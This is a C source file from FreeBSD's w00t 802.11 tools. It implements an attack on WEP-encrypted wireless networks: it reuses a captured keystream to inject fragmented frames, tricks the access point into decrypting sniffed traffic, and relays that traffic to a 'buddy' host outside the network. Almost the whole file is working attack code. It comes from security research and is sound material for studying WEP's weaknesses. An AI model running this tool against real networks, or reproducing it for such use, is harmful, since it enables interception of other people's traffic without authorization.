1 /*-
2  * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
3  * All rights reserved.
4  *
5  * Redistribution and use in source and binary forms, with or without
6  * modification, are permitted provided that the following conditions
7  * are met:
8  * 1. Redistributions of source code must retain the above copyright
9  *    notice, this list of conditions and the following disclaimer.
10  * 2. Redistributions in binary form must reproduce the above copyright
11  *    notice, this list of conditions and the following disclaimer in the
12  *    documentation and/or other materials provided with the distribution.
13  *
14  * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
15  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
16  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
17  * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
18  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
19  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
20  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
21  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
22  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
23  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
24  * SUCH DAMAGE.
25  *
26  * $FreeBSD: src/tools/tools/net80211/w00t/redir/redir.c,v 1.2 2009/07/24 15:31:22 sam Exp $
27  */
28 #include <sys/time.h>
29 #include <sys/types.h>
30 #include <sys/socket.h>
31 #include <sys/uio.h>
32 #include <netinet/in.h>
33 #include <arpa/inet.h>
34 #include <netinet/in_systm.h>
35 #include <netinet/ip.h>
36 #include <string.h>
37 #include <stdio.h>
38 #include <stdlib.h>
39 #include <unistd.h>
40 #include <fcntl.h>
41 #include <err.h>
42 #include <assert.h>
43 #include <zlib.h>
44 #include "w00t.h"
45 
46 enum {
47 	S_START = 0,
48 	S_WAIT_ACK,
49 	S_WAIT_BUDDY
50 };
51 
52 struct queue {
53 	struct ieee80211_frame *wh;
54 	int len;
55 	int id;
56 
57 	char *buf;
58 	int live;
59 	struct queue *next;
60 };
61 
62 struct params {
63 	int rx;
64 	int tx;
65 
66 	int s;
67 	int port;
68 
69 	int tap;
70 
71 	char mac[6];
72 	char ap[6];
73 	char rtr[6];
74 	struct in_addr src;
75 	struct in_addr dst;
76 
77 	char prga[2048];
78 	int prga_len;
79 	char iv[3];
80 	char *fname;
81 
82 	int state;
83 
84 	struct queue *q;
85 
86 	char packet[2048];
87 	int packet_len;
88 	struct timeval last;
89 	int id;
90 	int data_try;
91 
92 	int seq;
93 	int frag;
94 
95 	char buddy_data[2048];
96 	int buddy_got;
97 };
98 
99 void load_prga(struct params *p)
100 {
101         int fd;
102         int rd;
103 
104         fd = open(p->fname, O_RDONLY);
105         if (fd == -1) {
106                 p->prga_len = 0;
107                 return;
108         }
109 
110         rd = read(fd, p->iv, 3);
111         if (rd == -1)
112                 err(1, "read()");
113         if (rd != 3) {
114                 printf("Short read\n");
115                 exit(1);
116         }
117 
118         rd = read(fd, p->prga, sizeof(p->prga));
119         if (rd == -1)
120                 err(1, "read()");
121         p->prga_len = rd;
122 
123         printf("Loaded %d PRGA from %s\n", p->prga_len, p->fname);
124         close(fd);
125 }
126 
127 int wanted(struct params *p, struct ieee80211_frame *wh, int len)
128 {
129 	char *bssid, *sa;
130 
131 	if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
132 		bssid = wh->i_addr1;
133 		sa = wh->i_addr2;
134 	}
135 	else {
136 		bssid = wh->i_addr2;
137 		sa = wh->i_addr3;
138 	}
139 
140 	if (memcmp(bssid, p->ap, 6) != 0)
141 		return 0;
142 
143 	if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) {
144 		printf("Got non WEP packet...\n");
145 		return 0;
146 	}
147 
148 	/* my own shit */
149 	if (memcmp(p->mac, sa, 6) == 0)
150 		return 0;
151 
152 	return 1;
153 }
154 
155 void enque(struct params *p, char **buf, struct ieee80211_frame *wh, int len)
156 {
157 	struct queue *q = p->q;
158 	int qlen = 0;
159 	char *ret = NULL;
160 	struct queue *last = NULL;
161 
162 	/* find a slot */
163 	while (q) {
164 		if (q->live)
165 			qlen++;
166 		else {
167 			/* recycle */
168 			ret = q->buf;
169 			break;
170 		}
171 
172 		last = q;
173 		q = q->next;
174 	}
175 
176 	/* need to create slot */
177 	if (!q) {
178 		q = (struct queue*) malloc(sizeof(*q));
179 		if (!q)
180 			err(1, "malloc()");
181 		memset(q, 0, sizeof(*q));
182 
183 		/* insert */
184 		if (!p->q)
185 			p->q = q;
186 		else {
187 			assert(last);
188 			last->next = q;
189 		}
190 	}
191 
192 	q->live = 1;
193 	q->buf = *buf;
194 	q->len = len;
195 	q->wh = wh;
196 	q->id = p->id++;
197 
198 	qlen++;
199 
200 	if (qlen > 5)
201 		printf("Enque.  Size: %d\n", qlen);
202 	*buf = ret;
203 }
204 
205 /********** RIPPED
206 ************/
207 unsigned short in_cksum (unsigned short *ptr, int nbytes) {
208   register long sum;
209   u_short oddbyte;
210   register u_short answer;
211 
212   sum = 0;
213   while (nbytes > 1)
214     {
215       sum += *ptr++;
216       nbytes -= 2;
217     }
218 
219   if (nbytes == 1)
220     {
221       oddbyte = 0;
222       *((u_char *) & oddbyte) = *(u_char *) ptr;
223       sum += oddbyte;
224     }
225 
226   sum = (sum >> 16) + (sum & 0xffff);
227   sum += (sum >> 16);
228   answer = ~sum;
229   return (answer);
230 }
231 /**************
232 ************/
233 
234 void send_packet(struct params *p)
235 {
236         int rc;
237         struct ieee80211_frame *wh;
238 
239         rc = inject(p->tx, p->packet, p->packet_len);
240         if (rc == -1)
241                 err(1, "inject()");
242         if (rc != p->packet_len) {
243                 printf("Wrote %d/%d\n", rc, p->packet_len);
244                 exit(1);
245         }
246 
247         p->data_try++;
248         wh = (struct ieee80211_frame*) p->packet;
249         wh->i_fc[1] |= IEEE80211_FC1_RETRY;
250 
251         if (gettimeofday(&p->last, NULL) == -1)
252                 err(1, "gettimeofday()");
253 }
254 
255 void send_header(struct params *p, struct queue *q)
256 {
257 	struct ieee80211_frame *wh;
258 	short *pseq;
259 	char *ptr;
260 	struct ip *ih;
261 	int len, i;
262 	uLong crc = crc32(0L, Z_NULL, 0);
263 	uLong *pcrc;
264 
265 	/* 802.11 */
266 	memset(p->packet, 0, sizeof(p->packet));
267 	wh = (struct ieee80211_frame *) p->packet;
268 	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
269 	wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
270 	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
271 	wh->i_fc[1] |= IEEE80211_FC1_WEP;
272 	wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
273 
274 	wh->i_dur[0] = 0x69;
275 
276 	memcpy(wh->i_addr1, p->ap, 6);
277 	memcpy(wh->i_addr2, p->mac, 6);
278 	memcpy(wh->i_addr3, p->rtr, 6);
279 
280 	pseq = (short*) wh->i_seq;
281 	p->frag = 0;
282 	p->seq++;
283 	*pseq = seqfn(p->seq, p->frag++);
284 
285 	/* IV */
286 	ptr = (char*) (wh+1);
287 	memcpy(ptr, p->iv, 3);
288 	ptr += 4;
289 
290 	/* LLC/SNAP */
291 	memcpy(ptr, "\xAA\xAA\x03\x00\x00\x00\x08\x00", 8);
292 
293 	/* IP */
294 	ih = (struct ip*) (ptr+8);
295 	ih->ip_v = 4;
296 	ih->ip_hl = 5;
297 	len = q->len  - sizeof(*wh) - 4 - 4 + 20;
298 	ih->ip_len = htons(len);
299 	ih->ip_id = htons(q->id);
300 	ih->ip_ttl = 69;
301 	ih->ip_p = 0;
302 	ih->ip_src.s_addr = p->src.s_addr;
303 	ih->ip_dst.s_addr = p->dst.s_addr;
304 	ih->ip_sum = in_cksum((unsigned short*)ih, 20);
305 
306 	/* ICV */
307 	len = 8 + 20;
308 	crc = crc32(crc, ptr, len);
309 	pcrc = (uLong*) (ptr+len);
310 	*pcrc = crc;
311 
312 	/* wepify */
313 	for (i = 0; i < len + 4; i++)
314 		ptr[i] ^= p->prga[i];
315 
316 	p->packet_len = sizeof(*wh) + 4 + len + 4;
317 	p->data_try = 0;
318 	send_packet(p);
319 }
320 
321 void send_queue(struct params *p)
322 {
323 	struct queue *q = p->q;
324 
325 	assert(q);
326 	assert(q->live);
327 
328 	send_header(p, q);
329 	p->state = S_WAIT_ACK;
330 }
331 
332 void send_data(struct params *p)
333 {
334 	struct ieee80211_frame *wh;
335 	short *seq;
336 	struct queue *q = p->q;
337 	char *dst, *src;
338 	int len;
339 
340 	assert(q);
341 
342 	/* 802.11 */
343 	memset(p->packet, 0, sizeof(p->packet));
344 	wh = (struct ieee80211_frame*) p->packet;
345 	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
346 	wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
347 	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
348 	wh->i_fc[1] |= IEEE80211_FC1_WEP;
349 
350 	wh->i_dur[0] = 0x69;
351 
352 	memcpy(wh->i_addr1, p->ap, 6);
353 	memcpy(wh->i_addr2, p->mac, 6);
354 	memcpy(wh->i_addr3, p->rtr, 6);
355 
356 	seq = (short*) wh->i_seq;
357 	*seq = seqfn(p->seq, p->frag++);
358 
359 	/* data */
360 	dst = (char*) (wh+1);
361 	src = (char*) (q->wh+1);
362 	len = q->len - sizeof(*wh);
363 	memcpy(dst, src, len);
364 
365 	p->packet_len = sizeof(*wh) + len;
366 	p->data_try = 0;
367 	send_packet(p);
368 }
369 
370 void got_ack(struct params *p)
371 {
372 	switch (p->frag) {
373 	case 1:
374 		send_data(p);
375 		break;
376 
377 	case 2:
378 		p->state = S_WAIT_BUDDY;
379 		p->data_try = 69;
380 		break;
381 	}
382 }
383 
384 void read_wifi(struct params *p)
385 {
386 	static char *buf = NULL;
387 	static int buflen = 4096;
388 	struct ieee80211_frame *wh;
389 	int rc;
390 
391 	if (!buf) {
392 		buf = (char*) malloc(buflen);
393 		if (!buf)
394 			err(1, "malloc()");
395 	}
396 
397 	rc = sniff(p->rx, buf, buflen);
398 	if (rc == -1)
399 		err(1, "sniff()");
400 
401 	wh = get_wifi(buf, &rc);
402 	if (!wh)
403 		return;
404 
405 	/* acks */
406 	if (frame_type(wh, IEEE80211_FC0_TYPE_CTL, IEEE80211_FC0_SUBTYPE_ACK) &&
407 	    (memcmp(p->mac, wh->i_addr1, 6) == 0)) {
408 		got_ack(p);
409 		return;
410 	}
411 
412 	/* data */
413 	if (frame_type(wh, IEEE80211_FC0_TYPE_DATA,
414 		       IEEE80211_FC0_SUBTYPE_DATA)) {
415 		if (!wanted(p, wh, rc))
416 			return;
417 
418 		enque(p, &buf, wh, rc);
419 		if (p->state == S_START)
420 			send_queue(p);
421 		return;
422 	}
423 }
424 
425 int connect_buddy(struct params *p)
426 {
427 	struct sockaddr_in s_in;
428 
429 	memset(&s_in, 0, sizeof(s_in));
430 	s_in.sin_family = PF_INET;
431 	s_in.sin_port = htons(p->port);
432 	s_in.sin_addr.s_addr = p->dst.s_addr;
433 
434 	if ((p->s = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
435 		return -1;
436 
437 	if (connect(p->s, (struct sockaddr*) &s_in, sizeof(s_in)) == -1)
438 		return -1;
439 
440 	return 0;
441 }
442 
443 void buddy_reset(struct params *p)
444 {
445 	p->buddy_got = 0;
446 
447 	if (connect_buddy(p) == -1)
448 		err(1, "connect_buddy()");
449 }
450 
451 int buddy_get(struct params *p, int len)
452 {
453 	int rd;
454 
455 	rd = recv(p->s, &p->buddy_data[p->buddy_got], len, 0);
456 	if (rd <= 0) {
457 		buddy_reset(p);
458 		return 0;
459 	}
460 
461 	p->buddy_got += rd;
462 	return rd == len;
463 }
464 
465 void read_buddy_head(struct params *p)
466 {
467 	int rem;
468 
469 	rem = 4 - p->buddy_got;
470 
471 	if (!buddy_get(p, rem))
472 		return;
473 }
474 
475 void read_buddy_data(struct params *p)
476 {
477 	unsigned short *ptr = (unsigned short*) p->buddy_data;
478 	int id, len, rem;
479 	struct queue *q = p->q;
480 	struct queue *last = p->q;
481 	char mac[12];
482 	struct iovec iov[2];
483 
484 	id = ntohs(*ptr++);
485 	len = ntohs(*ptr++);
486 
487 	rem = len + 4 - p->buddy_got;
488 
489 	assert(rem > 0);
490 	if (!buddy_get(p, rem))
491 		return;
492 
493 	/* w00t, got it */
494 #if 0
495 	printf("id=%d len=%d\n", id, len);
496 #endif
497 	p->buddy_got = 0;
498 
499 	/* feedback loop bullshit */
500 	if (!q)
501 		return;
502 	if (!q->live)
503 		return;
504 
505 	/* sanity chex */
506 	if (q->id != id) {
507 		printf("Diff ID\n");
508 		return;
509 	}
510 
511 	rem = q->len - sizeof(*q->wh) - 4 - 4;
512 	if (rem != len) {
513 		printf("Diff len\n");
514 		return;
515 	}
516 
517 	/* tap */
518 	if (q->wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
519 		memcpy(mac, q->wh->i_addr3, 6);
520 		memcpy(&mac[6], q->wh->i_addr2, 6);
521 	} else {
522 		memcpy(mac, q->wh->i_addr1, 6);
523 		memcpy(&mac[6], q->wh->i_addr3, 6);
524 	}
525 	iov[0].iov_base = mac;
526 	iov[0].iov_len = sizeof(mac);
527 	iov[1].iov_base = (char*)ptr + 8 - 2;
528 	iov[1].iov_len = len - 8 + 2;
529 
530 	rem = writev(p->tap, iov, sizeof(iov)/sizeof(struct iovec));
531 	if (rem == -1)
532 		err(1, "writev()");
533 	if (rem != (14+(len-8))) {
534 		printf("Short write %d\n", rem);
535 		exit(1);
536 	}
537 
538 	/* deque */
539 	q->live = 0;
540 	if (q->next) {
541 
542 		p->q = q->next;
543 
544 		while (last) {
545 			if (!last->next) {
546 				last->next = q;
547 				q->next = NULL;
548 				break;
549 			}
550 			last = last->next;
551 		}
552 	}
553 
554 	/* drain queue */
555 	p->state = S_START;
556 	if (p->q->live)
557 		send_queue(p);
558 }
559 
560 void read_buddy(struct params *p)
561 {
562 	if (p->buddy_got < 4)
563 		read_buddy_head(p);
564 	else
565 		read_buddy_data(p);
566 }
567 
568 void own(struct params *p)
569 {
570 	struct timeval tv;
571 	struct timeval *to = NULL;
572 	fd_set fds;
573 	int max;
574 	int tout_ack = 10*1000;
575 	int tout_buddy = 2*1000*1000;
576 	int tout = (p->state == S_WAIT_BUDDY) ? tout_buddy : tout_ack;
577 
578 	if (p->state == S_WAIT_ACK || p->state == S_WAIT_BUDDY) {
579 		int el;
580 
581 		/* check timeout */
582 		if (gettimeofday(&tv, NULL) == -1)
583 			err(1, "gettimeofday()");
584 
585 		el = elapsed(&p->last, &tv);
586 
587 		/* timeout */
588 		if (el >= tout) {
589 			if (p->data_try > 3) {
590 				p->state = S_START;
591 				return;
592 			} else {
593 				send_packet(p);
594 				el = 0;
595 			}
596 		}
597 		el = tout - el;
598 		tv.tv_sec = el/1000/1000;
599 		tv.tv_usec = el - tv.tv_sec*1000*1000;
600 		to = &tv;
601 	}
602 
603 	FD_ZERO(&fds);
604 	FD_SET(p->rx, &fds);
605 	FD_SET(p->s, &fds);
606 	max = (p->rx > p->s) ? p->rx : p->s;
607 
608 	if (select(max+1, &fds, NULL, NULL, to) == -1)
609 		err(1, "select()");
610 
611 	if (FD_ISSET(p->rx, &fds))
612 		read_wifi(p);
613 	if (FD_ISSET(p->s, &fds))
614 		read_buddy(p);
615 }
616 
617 void usage(char *name)
618 {
619 	printf("Usage %s <opts>\n"
620 	       "-h\thelp\n"
621 	       "-d\t<buddy ip>\n"
622 	       "-p\t<port>\n"
623 	       "-b\t<bssid>\n"
624 	       "-t\t<tap>\n"
625 	       "-r\t<rtr>\n"
626 	       "-s\t<source ip>\n"
627 	       , name);
628 	exit(1);
629 }
630 
631 int main(int argc, char *argv[])
632 {
633 	struct params p;
634 	char *iface = "wlan0";
635 	char *tap = "tap0";
636 	int ch;
637 
638 	memset(&p, 0, sizeof(p));
639 	memcpy(p.mac, "\x00\x00\xde\xfa\xce\xd", 6);
640 	p.fname = "prga.log";
641 	p.seq = getpid();
642 
643 	while ((ch = getopt(argc, argv, "hd:p:b:t:r:s:")) != -1) {
644 		switch (ch) {
645 		case 's':
646 			if (!inet_aton(optarg, &p.src)) {
647 				printf("Can't parse src IP\n");
648 				exit(1);
649 			}
650 			break;
651 
652 		case 'r':
653 			if (str2mac(p.rtr, optarg) == -1) {
654 				printf("Can't parse rtr MAC\n");
655 				exit(1);
656 			}
657 			break;
658 
659 		case 't':
660 			tap = optarg;
661 			break;
662 
663 		case 'b':
664 			if (str2mac(p.ap, optarg) == -1) {
665 				printf("Can't parse BSSID\n");
666 				exit(1);
667 			}
668 			break;
669 
670 		case 'd':
671 			if (!inet_aton(optarg, &p.dst)) {
672 				printf("Can't parse IP\n");
673 				exit(1);
674 			}
675 			break;
676 
677 		case 'p':
678 			p.port = atoi(optarg);
679 			break;
680 
681 		case 'h':
682 		default:
683 			usage(argv[0]);
684 			break;
685 		}
686 	}
687 
688 	load_prga(&p);
689 	assert(p.prga_len > 60);
690 
691 	if ((p.rx = open_rx(iface)) == -1)
692 		err(1, "open_rx()");
693 	if ((p.tx = open_tx(iface)) == -1)
694 		err(1, "open_tx()");
695 
696 	if ((p.tap = open_tap(tap)) == -1)
697 		err(1, "open_tap()");
698 	if (set_iface_mac(tap, p.mac) == -1)
699 		err(1, "set_iface_mac()");
700 
701 	if (connect_buddy(&p) == -1)
702 		err(1, "connect_buddy()");
703 
704 	p.state = S_START;
705 	while (1)
706 		own(&p);
707 
708 	exit(0);
709 }
710